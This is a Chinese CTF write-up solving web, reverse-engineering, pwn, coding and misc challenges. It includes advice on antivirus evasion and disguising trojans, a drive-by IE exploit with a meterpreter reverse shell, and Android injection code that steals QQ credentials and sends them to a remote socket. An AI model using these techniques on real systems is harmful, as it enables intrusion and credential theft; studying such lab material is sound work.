可以知道目标用的是ie8 杀软是卡巴 所以挂马之前,先要免杀网马和木马 木马免杀,可以用veil那个免杀框架 能做到不被卡巴直接查杀,但是运行会弹出一个允许框,把目标程序名改为具有欺骗性的 iexplore.exe就可以了,浏览的时候下载运行iexplore.exe,因为当时正在访问浏览器,管理员一般是会点允许的 网马免杀,网马我们用去年那个ie通杀远程代码执行 Internet Explorer <= 11 – OLE Automation Array Remote Code Execution

但是杀软是会查杀网马的,所以要对网马进行免杀 给出免杀思路,代码就不上了:卡巴对这个网马的查杀是基于特征码的,找到特征码,然后xxoo就能达到免杀效果了。 如果是使用vbs下载者去下载木马运行的话,Vbs下载者也要选对,有些下载者也会被杀。 以上步骤建议在本地测试,卡巴最新病毒库,弄好木马网马以后,我们在index.php挂马。 然后访问的时候是这样

这里如果想做好一点可以把程序图标改成ie的图,更具欺骗性,主要是讲思路,我就不改啦 (ps:然而因为是win7,有powershell,也可以用的msf的expliot,修改网马免杀后,直接用powershell反弹shell,杀软是不会提示的) 然后就上线了 (因为管理员机器就是我的虚拟机,写思路也是用的内网机器,所以是内网ip) 然后通过meterpreter读取管理员桌面上的engine_code.txt,就能拿到flag了

0x01 Reverse Reverse0《送人头来了》
http://game.sycsec.com/download/Reverse0.exe

这是一个debug版的程序,绝逼的送分题,跟看源码一样

就是一个log函数,手算和代码都可以 flag{Agift4You_}

Reverse1《简单的CrackMe》
http://game.sycsec.com/download/Reverse1.zip

这是一个加密程序,目的是解密ciphertext main函数里分了三个部分,并加了花 1. 第一部分就是输入的每一个字节的高三放在这个字节的低三位上 text:08048673就是右移5位,text:0804869B是左移3位 2. 第二部分是查表替换,以参数字节为下标替换,第二部分最后是解密第三部分的函数 3. 第三部分加密后存在程序里,当第二部分执行完成后解密,所以这部分代码在ida里为乱码,解密后的代码 这部分代码没有花,所以直接看就可以,循环异或”syclover”

Reverse2《简单的CrackMe》
http://game.sycsec.com/download/Reverse2.apk

反编译后的MainActivity为空,里面只有一个loadLibrary和两个native方法,onClick,onCreate,加载libsycapk.so调试 1. 在JNI_OnLoad中有ptrace反调试,之后就是解密一些字符串然后注册onClick,onCreate方法 2. 知道了onCreate和onClick方法在哪之后就可以在native层去调试,onCreate方法中初始化了button,edittext控件,在初始化button的时候有个反调试,后面算法中的用到的key在被调试的时候和正常运行时不同的,可以在这patch,如果没有没有检测到调试就用”5yc10v3r”替换假key。 3. onClick方法中响应了button点击之后,调用验证方法 用输入的字符串第6为开始与key的MD5异或,接着计算连续的二进制流1或0的个数,最高位为1或0,低7位为个数,最后与结果比较验证

Reverse3《Reverse3》

在官方服务端的手机上运行了这个QQ.apk,请你写出一个木马,利用该QQ的漏洞获取服务端上QQ的账号和密码 http://game.sycsec.com/download/QQ.apk 要求: 不能使用提权漏洞 请在本地调试好之后再上传给官方安装 上传你写好的APK: http://apk.sycsec.com/

首先说明一下这道题其实跟逆向的关系并不是很大..但是不知道到底分在什么地方,所以就加在逆向里面了。 题目给了一个qq的apk(山寨版的),要求写出一个木马能够获取官方手机上的qq用户名和密码,然后用这个账号登录就可以问他的好友获取flag。 既然要获得一个app中的数据,必须要和这个app在同一个进程中。而要注入进一个app的进程,通常有两种方案:利用签名漏洞或者有root权限。但是题目上明确说明了不能使用提权漏洞,所以很明显要利用签名漏洞。 反编译这个apk在源码中可以看到一个未导出的WebViewActivity,并且设置了支持插件。利用方式就很明显了。首先通过launchanywhere漏洞导出这个WebView,然后利用fakeid漏洞伪造一个flash插件,这样webview就会加载我们的插件,注入进进程后,hook java层的代码,得到账号和密码。 继续看代码可以看到在LoginActivity点击登录后,这个activity会把密码传给MsfService,这个Service是保持和服务器连接的Service。 MsfService有一个getInstance方法,可以得到这个Service的实例,然后就能获取他的账号和密码字段。 这里我们可以使用android源代码中的浏览器插件的example,代码可以从这获得:http://androidxref.com/2.3.7/xref/development/samples/BrowserPlugin/

然后在main.cpp中修改这个函数让浏览器知道我们是flash插件。

const char *NP_GetMIMEDescription(void)
{
    return "application/x-shockwave-flash:swf:Shockwave Flash;application/futuresplash:spl:FutureSplash Player";
}

注入进进程后加载一个apk(当然也可以在jni层直接获取Service的实例),

snprintf(sig_buffer, 512, "(%s)%s", JSTRING, JCLASS);
    jmethodID loadClass_method = jni_env->GetMethodID(dexloader_claxx, "loadClass", sig_buffer);

jobject class_loader = getSystemClassLoader();</p></p>

<p><p>jobject dex_loader_obj = jni_env->NewObject(dexloader_claxx, dexloader_init_method, apk_path, dex_out_path, NULL, class_loader);
jstring class_name = jni_env->NewStringUTF("com.demo.inject.InjectClass");
jclass entry_class = static_cast<jclass>;(jni_env->CallObjectMethod(dex_loader_obj, loadClass_method, class_name));</p></p>

<p><p>jmethodID invoke_method = jni_env->GetStaticMethodID(entry_class, "invoke", "(I)[Ljava/lang/Object;");
jobjectArray objectarray = (jobjectArray) jni_env->CallStaticObjectMethod(entry_class, invoke_method, 0);

java层的代码就很简单了,利用ClassLoader加载MsfService,再反射获取用户名和密码,传回我们的地址。

Class<?> Service_class = context.getClassLoader().loadClass("com.qq.service.MsfService");
            Method get_method = Service_class.getDeclaredMethod("getInstance");
            Object MsfService  = get_method.invoke(null);
            Field namefield = MsfService.getClass().getDeclaredField("mUserName");
            Field pwdfield = MsfService.getClass().getDeclaredField("mPassword");
            namefield.setAccessible(true);
            pwdfield.setAccessible(true);
            String name = (String) namefield.get(MsfService);
            String passwd = (String) pwdfield.get(MsfService);
            String host = "192.168.6.1";
int port = 8899;
Socket client = new Socket(host, port); Writer writer = new OutputStreamWriter(client.getOutputStream()); writer.write("name:"+name+",passwd:"+passwd); writer.flush(); writer.close(); client.close();

然后我们需要使用launchanywhere漏洞来导出WebViewActivity,关于launchanywhere更多的细节可以参考:http://blogs.360.cn/360mobile/2014/08/19/launchanywhere-google-bug-7699048/

我们将这个webview导出后让它访问一个包含flash的页面,这个时候webview就会加载我们的so。

intent.setComponent(new ComponentName("com.qq","com.qq.activity.WebViewActivity"));
        intent.setAction(Intent.ACTION_RUN);
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        intent.putExtra("data", HTML2);
        intent.putExtra("url", "http://demo.sc.chinaz.com//Files/DownLoad/flash2/201505/flash3638.swf");
        intent.putExtra("title", "Account bug");
        final Bundle bundle = new Bundle();
        bundle.putParcelable(AccountManager.KEY_INTENT, intent);
        return bundle;

最后就是利用fakeid来伪造Adobe的签名,这部分的内容简行之旅的博客上写的很清楚,我也就不再叙述了:http://blog.csdn.net/l173864930/article/details/38755621.

最后安装写好的恶意apk,启动后会打开qq的webview,然后传回用户名和密码。 最后就是利用获得的用户名和密码登录qq,找到一个叫admin的好友,问他要flag啦。

0x02 PWN

Pwn1《学挖掘机的萌妹》
“暮雨!你妹来信了!” “若水的信?快给我快给我!”暮雨飞一般地跑进屋里。从小,藤原暮雨就对自己的妹妹若水疼爱有加,小若水也非常崇拜自己的哥哥。怎奈若水没有哥哥非凡的车技,只好跑去北方学习挖掘机。 “诶?若水说她学挖掘机的时候遇到了很多问题,让她很困扰。她想登录进挖掘机系统看看有没有考题, 可是有管理员有验证,想让我帮她利用漏洞登陆系统,听说管理员十分崇拜物理学家!”看来是时候让我这个当哥哥的出马了!暮雨自信的想着。 http://game.sycsec.com/download/login

nc 120.25.125.211 11111

PWN系列的WRITEUP 如有错误或者更好方法可以与我联系:0xwuyan@gmail.com

程序自身代码没有漏洞,是设计上的缺陷。 没有限制验证的次数,没有类似验证码的机制等问题。 题目描述里有 管理员十分崇拜物理学家的描述,以及下图中从password读入9个字符,程序里比较字符的时候没有区分大小写等等可以尝试推动密码也许是人名,剩下的就是有方向的爆破的。 参考链接:CWE-307:过多认证尝试的限制不恰当

Pwn2《简陋的系统》
在暮雨的努力下,若水遇到的挖掘机系统被成功突破。然而进入系统之后的情景却让若水大失所望,里面并没有什么考题,而且系统还非常的简陋,几乎没有什么功能。然而就是在如此简陋的情况下,居然还有漏洞! “老妹去的这学校也太。。。”暮雨暗自苦笑,“那就让我利用一下这个漏洞,看看里面还有什么秘密吧!” http://game.sycsec.com/download/easy_system

nc 120.25.125.211 22222

Easy_system 手抖了一下,把调试符号去掉了,然后逆向分析的难度增大,不要砍我QAQ

出问题的是程序的日志功能部分,存在一个格式化字符串的漏洞,如下图。 第2个snprintf向栈里写入了之前输入的命令,没有做检查。 snprintf_sub_401840((__int64)&v25[v28 + v27 – 1], (unsigned int)(v29 + 1), a1);

当然,日志功能默认是没有启用的,要通过set logfilename xxxxx (xxx是设置的名字),还有enable logfunction 来启用。可以在处理命令那块逻辑中看到,如下图。 然后格式化字符串在栈里,也没其它的限制和程序保护。 利用的思路(有更好的利用方法望指出): 1:先找块空地写shellcode 2:改写.fini_array 指向 shellcode

objdump -dr -j .fini_array ./easy_system

Pwn3《没剧情了T_T》
没剧情了T_T,直接下来玩吧:p Good luck & have fun. http://game.sycsec.com/download/buybuybuy

nc 120.25.125.211 33333

Buybuybuy 程序存在一个符号转换的漏洞,有符号的负数转换为无符号数时,会有一个栈溢出,剩下就是栈溢出的利用。 如下图,输入的负数,在say_your_story中由input调用,而在input中长度的变量类型是unsigned int。

0x03 CODE

Code1《x86翻车》

一日,藤原暮雨开着x86在山路中送豆腐。然后……翻车了!(车神翻车了你敢信) 豆腐散落在山中的四个地点,藤原需要一一去捡回,然后送到目标地点。 山中的地点通过一些双向的道路连接,在每个地点都会标注出与它相连的地点以及距离,如: 1356813123 1500 49933212 1300 有豆腐的地点会在最后一行显示doufu,如: 223355 178 99999999 233 doufu 现在知道藤原的位置是461271604 (http://e983da0f4cc3d80ce96b9fcfe056a811.sycsec.com/map/461271604.txt) 目标位置是1282159116 (http://e983da0f4cc3d80ce96b9fcfe056a811.sycsec.com/map/1282159116.txt)。 他需要你告诉他从当前位置出发,捡回所有豆腐然后送达目标的最短的一条路。 本题的flag不是flag{…}的形式,直接提交最短路径的长度。

题目描述已经提示地很清楚,是一个无向图求最短路径的问题。 首先读取文件建图,并且找到豆腐所在的顶点。从起点经过这四个地点达到终点,每两点之间都需要是最短路径。枚举这四个地点的全排列,求出最短的一条即可。

Code2《神秘的压缩图片》

“暮雨!!我要死了!快来帮我!”窗外传来死党阿优的鬼哭狼嚎,“女神!绝对是女神!我要追到她!快来帮我!” “女神?为啥你追女神需要我帮忙啊?”暮雨探出头不解地问。 只见窗外阿优扔过来一张图片“你看看,这是女神给我的,说是解开这个图片中的秘密,就可以得到她的联系方式!可我什么也看不出来啊,只好找你帮忙啦~”阿优不好意思道。 “哦?图片?莫非里面隐藏了什么信息?那就让我看看吧~” http://game.sycsec.com/download/Code2.zip

题目给了一个java的程序,只实现了压缩功能,解压功能的按钮无效。反编译后能看到有这么几个类。 在MainWindow中可以找到压缩按钮的点击事件,可以看到这里先使用了encode类对文件进行了一次压缩,后面又使用了lz77类再进行了一次压缩。

int windowSize = 64;
                Encode encode = new Encode();
                LZ77 lz77 = new LZ77(windowSize);
                try {
                    long startTime = System.currentTimeMillis();
                    FileInputStream srcFile = new FileInputStream(srcFilename); 
                    DataInputStream dataInputStream = new DataInputStream(
                            srcFile);
                    Node grand = encode.formTree(
                            encode.colorCount(dataInputStream),
                            Encode.color.length); 
                    encode.setCode(grand); 
                    dataInputStream.close();
                    srcFile.close(); 
                    DataOutputStream dataOutputStream = new DataOutputStream(
                            new FileOutputStream(SaveFilename)); 
                    FileInputStream srcFileAgain = new FileInputStream(
                            srcFilename); 
                    DataInputStream dataInputStreamAG = new DataInputStream(
                            srcFileAgain);
                    encode.writeEncode(grand, dataInputStreamAG,
                            dataOutputStream); 
                    dataInputStreamAG.close();
                    srcFileAgain.close(); 
                    dataOutputStream.close(); 
                    lz77.compress(SaveFilename, SaveFilename);
                    long endTime = System.currentTimeMillis();
                    lbl_status.setText("Compression Done in : "
                            + (endTime - startTime) + " ms");

题目降低了难度,已经将lz77这个算法写出来了,所以可以直接使用lz77解压一次,然后再查看encode类。

public static int[] color = new int[256];
    public void getSort(Node[] node,int nodeCount){
for(int i = 0; i < nodeCount; i ++){ for(int j = i; j < nodeCount; j ++){ if(node[i].freq < node[j].freq){ Node tempColor = node[i]; node[i] = node[j]; node[j] = tempColor; } } } } public Node formTree(Node[] node, int nodeCount){
Node parent = new Node(); while(nodeCount > 1){ this.getSort(node, nodeCount); while(node[nodeCount - 1].freq == 0) nodeCount --; parent = new Node(); Node left = node[nodeCount - 1]; Node right = node[nodeCount - 2]; parent.left = left; parent.right = right; parent.freq = left.freq + right.freq; left.parent = parent; right.parent = parent; node[nodeCount - 2] = parent; node[nodeCount - 1] = null; nodeCount --; } return parent; } public Node[] colorCount(DataInputStream dataInputStream){
for(int i = 0; i < color.length; i ++){ color[i] = 0; } int offset = -1; while(true){ try{ offset = dataInputStream.readUnsignedByte();
color[offset] ++; } catch(EOFException err){ break; } catch(IOException err){} } Node[] node = new Node[color.length];
for(int i = 0; i < color.length; i ++){ node[i] = new Node(); node[i].freq = color[i]; node[i].color = i; } return node; } public void setCode(Node grandNode){
if(grandNode.left != null) grandNode.left.Code = grandNode.Code + "0"; if(grandNode.right != null) grandNode.right.Code = grandNode.Code + "1"; if(grandNode.left != null) setCode(grandNode.left); if(grandNode.right != null) setCode(grandNode.right); } public String getCode(Node grand, int initColor){
String code = ""; if(grand.color == initColor){ code = grand.Code; } else if(grand.color == -1){ code = getCode(grand.left,initColor);
if(code.equals("")) code = getCode(grand.right,initColor); } return code; } public String suffixByteString(String initStr){
while(initStr.length() < 8)
initStr += "0"; return initStr; } public int strToInt(String str){ int dec = 0; for(int i = str.length() - 1; i >= 0; i --){ dec = dec * 2 + (str.charAt(0) - 48); str = str.substring(1); } return dec; }

熟悉数据结构的能很容易的看出这就是一个huffman编码,然后就是写解码的代码了。解码的代码如下:

public Node getTree(DataInputStream dataInputStream) throws IOException{ 
        Node grand = new Node();
        Node curNode = grand;
        int code = -1;
        int curColor = 0;
        int curLength = -1;
        int curLengthTrail = -1;
        String codeStrBin = "";
while(curColor < 256){ curLength = dataInputStream.readUnsignedByte();
for(int i = 0; i < curLength / 8; i ++){
codeStrBin += hexIntToByteStr(dataInputStream.readUnsignedByte()); } curLengthTrail = curLength % 8;
if(curLengthTrail != 0){ codeStrBin += hexIntToByteStr(dataInputStream.readUnsignedByte()).substring(8 - curLengthTrail, 8); } for(int i = 0; i < curLength; i ++){ code = codeStrBin.charAt(0) - 48;
codeStrBin = codeStrBin.substring(1); if(code == 0){
if(curNode.left == null){ curNode.left = new Node(); curNode.left.parent = curNode; curNode.left.huffCode = curNode.huffCode + "0"; } curNode = curNode.left; } else{
if(curNode.right == null){ curNode.right = new Node(); curNode.right.parent = curNode; curNode.right.huffCode = curNode.huffCode + "1"; } curNode = curNode.right; } if(i == curLength - 1){
curNode.color = curColor; curNode = grand; } } curColor ++;
} return grand; } public void getColor(Node grand, DataInputStream dataInputStream, DataOutputStream dataOutputStream) throws IOException{ Node curNode = grand; int code = -1; int intBuffer = 0; String strBuffer = "";
while(true){ try{ intBuffer = dataInputStream.readUnsignedByte();
strBuffer = hexIntToByteStr(intBuffer);
while(strBuffer.length() > 0){ if((code == 1) && (curNode.right != null)){
curNode = curNode.right; code = strBuffer.charAt(0) - 48; strBuffer = strBuffer.substring(1); } else if((code == 0) && (curNode.left != null)){
curNode = curNode.left; code = strBuffer.charAt(0) - 48; strBuffer = strBuffer.substring(1); } else if(curNode.left == null || curNode.right == null){
dataOutputStream.write(curNode.color);
curNode = grand; } else{ code = strBuffer.charAt(0) - 48;
strBuffer = strBuffer.substring(1); } } } catch(EOFException err){ break;
} } }

最后就是对文件解压就能看到flag了。

0x04 MISC

Misc1《签到题》
这是签到题,喵喵喵 ZmxhZ3t3ZWxjb21lMlN5Y2xvdmVyfQ==

签到题,看到==结尾,判断是base64,解一发base64 Base64编码/解码器

flag{welcome2Syclover}

Misc2《马里奥》
阿优是暮雨的死党,一个标准的宅男。什么是标准的宅男生活呢?当然不是抽烟喝酒烫头! 对于阿优来说,生活就是游戏、动漫、还有。。。。你懂的! 这不,阿优来了~ “暮雨快出来~看我找到了什么!陈年的超级马里奥!快来玩~” 暮雨扶额道:“又来了。。。整天就拿些无聊的游戏来找我。” “嘿嘿,这次可不一样~”阿优神秘地说道,“听说这个游戏通关后,会有意想不到的惊喜呢!” “惊喜?有点意思,来吧~让我看看!” http://game.sycsec.com/download/Super Mario.zip

正常的解法:通关视频 在1-2这里可以上去的。可以走到后面 1-2这里可以跳到第四关。 4-2这里可以跳到第八关。 上去之后 可以跳到第八关。八关之后的只有自己慢慢玩了。 FLAG-PLAYGAMEISWELL

还有其他的思路,就是使用金手指跳关,或者是使用其他人的8-4的游戏内存载入,直接到最后一关也是一种解题思路。

Misc3《密文》

藤原暮雨在一个月的观察行动中,机智地截获到了“三叶豆腐店”内部通讯的一段密文。面对密文藤原一头雾水,不过他知道明文中一定出现了flag这个单词。请你帮他解密出明文。 http://game.sycsec.com/download/Misc3_new.zip

这道题使用线性同余随机数生成器: state = (state * 1103515425 + 54321) & 0x3fffffff 生成一串伪随机数,和明文相加得到密文。 第一步,先根据题目描述,枚举密文中的每一位是否和“flag”匹配。找到了1880758 、2449749 这两处都出现了flag(出题人的失误,应只有一处,不过不影响做题),对应的随机数是 730278753、676484048。程序如下:

#!/usr/bin/python
from crypt import srand
from crypt import rand
from struct import *
def main():
    f = open("ciphertext","rb")
    data = f.read()
    for i in range(0,len(data)-16,4):
        c = unpack("i",data[i:i+4])[0]
        r = c - (ord('f') << 22)
        srand(r)
        if rand()+(ord('l')<<22) != unpack("i",data[i+4:i+8])[0]: continue
        if rand()+(ord('a')<<22) != unpack("i",data[i+8:i+12])[0]: continue
        if rand()+(ord('g')<<22) != unpack("i",data[i+12:i+16])[0]: continue
        print i/4,r
if name == "main":
    main()

第二步,找到flag的位置后直接解出后面的明文可以,解前面的明文有两种方法。一是求出1103515425模0x40000000的逆,这样可以反向推出秘钥流。第二种方法是利用周期性,从任意一个种子开始生成一串随机数,必定会达到flag对应的那个随机数,记录下来前面生成的随机数列,就可以解出flag前面的明文了。第二种解法的程序如下:

#include <stdio.h>
#define m 0x3fffffff
#define MAXSIZE 3000000
          int state = 1;
                int rand()
                {
                    state = (1103515425*state + 54321) & m;
                        return state;
                }
                int cnt = 0;
                int filesize = 0;
                int cipher[MAXSIZE];
                char plain[MAXSIZE];
                int s[m+1];
                void output()
                {
                    FILE *fp = fopen("plaintext","wb");
                    int end = 2449749; //position of 'f' 
                    while (end != -1)
                    {
                        plain[end] =  (cipher[end] - s[cnt]) >> 22;
                        --end;
                        --cnt;
                    }
                    fwrite(plain,1,filesize,fp);
                    fclose(fp);
                    return;
                }
                int main()
                {
                    FILE *fp;
                    fp = fopen("ciphertext","rb");
                    filesize = fread(cipher,4,MAXSIZE,fp);
                    printf("filesize:%d\n",filesize);
                    while (1)
                    {
                        int r = rand();
                        s[cnt++] = r;
                        if (r == 676484048)
                        {
                            cnt--;
                            printf("cnt:%d\n",cnt);
                            output();
                            break;
                        }
                    }
                    return 0;
                }
                

由于出题人考虑不周导致可以直接爆破种子。而且“flag”后面给出的提示过于详细,base64编码的图片文件开头是几种固定的格式,得出第一步的信息后可以枚举几种文件开头就能解出。